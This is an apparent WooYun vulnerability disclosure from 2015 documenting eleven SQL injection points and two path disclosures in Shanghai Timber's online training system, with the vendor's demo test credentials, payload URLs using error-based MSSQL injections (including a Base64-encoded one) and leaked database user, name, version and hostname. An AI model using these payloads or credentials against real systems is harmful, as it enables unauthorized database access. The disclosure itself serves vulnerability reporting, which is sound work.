当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121382

漏洞标题：上海天柏在线培训系统通用11处SQL注入漏洞打包

相关厂商：上海天柏信息科技有限公司

漏洞作者： goubuli

提交时间：2015-06-19 13:58

修复时间：2015-09-21 18:14

公开时间：2015-09-21 18:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-19： 细节已通知厂商并且等待厂商处理中
2015-06-23： 厂商已经确认，细节仅向厂商公开
2015-06-26： 细节向第三方安全合作伙伴开放
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开

简要描述：

RT
又是好多，审核说我是刷的，其实不是，我挖一个提交一个。。。现在把手里的打包发。。。

详细说明：

厂商信息：

厂商:上海天柏信息科技有限公司
官网：http://timber2005.com/
案例：http://timber2005.com/Customer.html
官方演示demo：http://px2.timber2005.com
前台测试帐号：test1,test2,test3,test4,test5,test6 测试密码：123456
常用测试账号：test5/123456
后台测试帐号：master 测试密码：123456
demo测试，mssql注入

px2_2.png


首先申明一下，wooyun已存在的漏洞，肯定会重复，现在提交现挖的。。。
审核说我刷的，其实不是刷啊，我都是挖一个提交一个。。。现在把手里有的打包发了吧，你们审核也方便了。。。
案例：

px2_5.png


=======================================================================
注入一、

http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403
参数infoid存在注入


提交：

http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403 and 1=user


px2_10.png


注入二、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 
参数info存在注入


提交：http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4'

px2_1.png


提交：

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 and 1=user


px2_3.png


http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 and 1=db_name()


px2_4.png


注入三、Base64编码后注入

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAz
参数infoid存在注入


提交：

403'


编码后：

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAzJw==


提交：

403 and 1=user


编码后：

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAzIGFuZCAxPXVzZXI=


px2_11.png


注入四、

http://px2.timber2005.com/MediaCenter/TimberPlayer.aspx?infoid=160&cid=25 and 1=user&date=Thu Jun 18 2015 14:45:25 GMT+0800
参数cid存在注入


px2_18.png


注入五、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Course_Class_List_Default.aspx?cid=27
参数cid存在注入


提交： and 1=user

px2_14.png


注入六、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/CW_Zone.aspx?cid=27 
参数cid存在注入


提交：

and 1=user


px2_13.png


注入七、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Content.aspx?cid=27
参数cid存在注入


提交：

and 1=db_name()


注入八、

http://px2.timber2005.com/MediaCenter/TimberPlayer.aspx?infoid=161&cid=25&date=Thu Jun 18 2015 14:43:00 GMT+0800
参数infoid存在注入


px2_17.png


注入九、

http://px2.timber2005.com/Exam/User_Exam.aspx?wkey=GD&planid=4138&planname=练习测试&time=100&point=100&passpoint=10&module=True&pid=4110&examkey=&return=../Course/User_Test_Query.aspx?infoid=
参数planid存在注入


提交：

http://px2.timber2005.com/Exam/User_Exam.aspx?wkey=GD&planid=4138 and user=1&planname=练习测试&time=100&point=100&passpoint=10&module=True&pid=4110&examkey=&return=../Course/User_Test_Query.aspx?infoid=


px2_12.png


注入十、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Zone.aspx?cid=25 and 1=user
参数cid存在注入


px2_19.png


注入十一、

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=user
参数cid存在注入


px2_20.png


----------------------------------------------------------------------
数据证明
用户：
提交：

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=user


px2_23.png

将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。


数据库名称：
提交：

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=db_name()


px2_22.png


将 nvarchar 值 'Timber_Exam_Org' 转换为数据类型为 int 的列时发生语法错误。


数据库版本：
提交：

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=@@version


px2_21.png


将 nvarchar 值 'Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)
May  3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Personal Edition on Windows NT 6.0 (Build 6002: Service Pack 2)
' 转换为数据类型为 int 的列时发生语法错误。


机器名称：
提交：

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=host_name()


px2_24.png

将 nvarchar 值 'TIMBER_SERVER3' 转换为数据类型为 int 的列时发生语法错误。


=======================================================================
爆路径一、
提交：http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403a

px2_16.png


爆路径二、http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Content.aspx?cid=27

px2_15.png

漏洞证明：

已证明

修复方案：

升级+补丁
添加友好500界面

版权声明：转载请注明来源 goubuli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-06-23 18:13

厂商回复：

CNVD确认所述漏洞情况，暂未建立与软件生产厂商的直接处置渠道，待认领。

最新状态：

暂无